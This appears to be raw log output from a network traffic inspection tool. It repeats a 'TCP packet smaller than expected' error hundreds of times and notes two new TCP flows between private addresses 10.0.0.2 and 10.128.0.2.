ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [.....7] [ip4][..tcp] [.......10.0.0.2][10790] -> [.....10.128.0.2][24101] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [.....8] [ip4][..tcp] [.......10.0.0.2][.9508] -> [.....10.128.0.2][.8995] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - 